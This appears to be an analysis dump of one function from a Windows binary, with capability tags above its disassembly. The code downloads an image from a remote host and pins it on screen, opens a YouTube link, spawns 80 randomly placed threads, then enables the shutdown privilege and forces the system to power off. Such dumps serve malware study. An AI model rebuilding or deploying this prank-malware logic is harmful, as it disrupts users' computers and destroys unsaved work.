Function at 0x140001790
Capabilities:
Create process on windows
Create thread
Download url
Encode data using xor
Generate random numbers using a mersenne twister
Receive data
Shutdown system

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x13a8]
mov eax, 0x14a8
call fcn.140003800
sub rsp, rax
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x1398], rax
mov rdi, rcx
lea r8, str.downloaded_image.png
xor esi, esi
lea rdx, str.https:__file.garden_ZlHIdN_wRDoV_nCH_sigma.PNG
xor ecx, ecx
mov qword [rsp + 0x20], rsi
xor r9d, r9d
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
je 0x140001819
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_the_image:
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140001e40
movups xmm0, xmmword [str.ImageWindow]
lea rax, [0x1400012b0]
mov qword [rsp + 0x14d8], r12
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x70]
movups xmmword [rbp + 0x1380], xmm0
lea rax, [rbp + 0x1380]
mov qword [rsp + 0x70], rsi
movsd xmm0, qword [0x140004858]
xorps xmm1, xmm1
movsd qword [rbp + 0x1390], xmm0
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x80], rsi
movdqa xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x50], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], rsi
lea r8, str.Image_Display
mov qword [rsp + 0x50], rdi
lea rdx, [rbp + 0x1380]
mov qword [rsp + 0x48], rsi
mov r9d, 0x10cf0000
mov qword [rsp + 0x40], rsi
xor ecx, ecx
mov dword [rsp + 0x38], 0x258
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r12, rax
test rax, rax
jne 0x140001913
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.CreateWindowEx_failed:
mov ebx, eax
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140001e38
mov qword [rsp + 0x14e0], r13
xor r9d, r9d
mov dword [rsp + 0x30], 3
xor r8d, r8d
mov qword [rsp + 0x14e8], r14
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x28], esi
mov rcx, r12
mov qword [rsp + 0x14a0], r15
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 8
call fcn.140002120
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.https:__www.youtube.com_watch_vd1YBv2mWll0
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xorps xmm0, xmm0
mov qword [rbp - 0x30], rsi
xor ecx, ecx
movdqu xmmword [rbp - 0x40], xmm0
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1374], 0xffffffff
mov edx, 1
mov dword [rbp - 0xc], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0xc], eax
inc rdx
cmp rdx, 0x270
jb 0x1400019c0
mov edx, 0x80000000
mov dword [rbp - 0x10], 0x270
lea r13d, [rdi - 0x64]
mov r14d, esi
lea r15d, [rbx - 0x12c]
mov edi, edx
xor r15d, edx
xor r13d, edi
lea rcx, [rbp - 0x10]
cmp r15d, 0x7fffffff
jne 0x140001a17
call fcn.140002740
mov ecx, eax
jmp 0x140001a5c
lea ebx, [r15 - 0x7fffffff]
call fcn.140002740
mov ecx, eax
mov edi, ebx
imul rcx, rdi
cmp ecx, ebx
jae 0x140001a53
mov eax, ebx
xor edx, edx
neg eax
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140001a53
nop dword [rax]
lea rcx, [rbp - 0x10]
call fcn.140002740
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140001a40
shr rcx, 0x20
mov edi, 0x80000000
lea esi, [rcx + rdi]
xor esi, edi
lea rcx, [rbp - 0x10]
cmp r13d, 0x7fffffff
jne 0x140001a77
call fcn.140002740
mov ecx, eax
jmp 0x140001abc
lea ebx, [r13 - 0x7fffffff]
call fcn.140002740
mov ecx, eax
mov edi, ebx
imul rcx, rdi
cmp ecx, ebx
jae 0x140001ab3
mov eax, ebx
xor edx, edx
neg eax
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140001ab3
nop dword [rax]
lea rcx, [rbp - 0x10]
call fcn.140002740
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140001aa0
shr rcx, 0x20
mov edi, 0x80000000
lea ebx, [rcx + rdi]
mov ecx, 0x10
xor ebx, edi
call fcn.140002910
lea rcx, [0x140001590]
mov r9, rax
lea r8, [0x140002700]
xor edx, edx
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rax + 4], esi
xor esi, esi
mov dword [rax], ebx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140001e62
mov rdx, qword [rbp - 0x38]
cmp rdx, qword [rbp - 0x30]
je 0x140001b2f
movaps xmm1, xmmword [rsp + 0x60]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rdx], xmm1
add qword [rbp - 0x38], 0x10
jmp 0x140001b3d
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.140002320
cmp dword [rsp + 0x68], esi
jne 0x140001e5b
inc r14d
cmp r14d, 0x50
jl 0x140001a01
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 8
call fcn.140002120
mov rdi, qword [0x1400077e0]
mov rbx, qword [0x1400077d8]
cmp rbx, rdi
je 0x140001b9d
nop word [rax + rax]
mov rcx, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
call qword [sym.imp.USER32.dll_SendMessageW]
add rbx, 8
cmp rbx, rdi
jne 0x140001b80
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
mov rcx, r12
call qword [sym.imp.USER32.dll_SendMessageW]
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x38]
cmp rbx, rdi
je 0x140001bfa
nop
cmp dword [rbx + 8], esi
je 0x140001bf1
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x140001c5e
movups xmm0, xmmword [rbx]
xor edx, edx
lea rcx, [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140001c52
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140001bc0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001c6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.OpenProcessToken_error:
mov ebx, eax
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001d1a
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
lea r8, [rbp - 0x1c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140001c90
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.LookupPrivilegeValue_error:
jmp 0x140001ce6
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov dword [rbp - 0x20], 1
mov dword [rbp - 0x14], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001ccf
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.AdjustTokenPrivileges_error:
jmp 0x140001ce6
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140001d2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.AdjustTokenPrivileges_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ebx, eax
call fcn.140001f00
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_enable_shutdown_privilege.
call fcn.140001f00
jmp 0x140001dac
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Shutdown_privilege_enabled_successfully.
call fcn.140001f00
mov rcx, rax
lea rdx, [0x1400020e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x80000000
mov ecx, 5
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
je 0x140001d86
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.The_computer_is_shutting_down.
call fcn.140001f00
jmp 0x140001dac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_while_trying_to_shut_down_the_computer:
mov ebx, eax
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400020e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140001e1e
mov rdx, qword [rbp - 0x38]
mov rax, rcx
cmp rcx, rdx
je 0x140001ddf
cmp dword [rax + 8], esi
jne 0x140001e12
add rax, 0x10
cmp rax, rdx
jne 0x140001dd1
mov rdx, qword [rbp - 0x30]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140001e19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140002b8c
mov r14, qword [rsp + 0x14e8]
xor eax, eax
mov r13, qword [rsp + 0x14e0]
mov r15, qword [rsp + 0x14a0]
mov r12, qword [rsp + 0x14d8]
mov rcx, qword [rbp + 0x1398]
xor rcx, rsp
call fcn.1400028f0
add rsp, 0x14a8
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rsp + 0x68], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3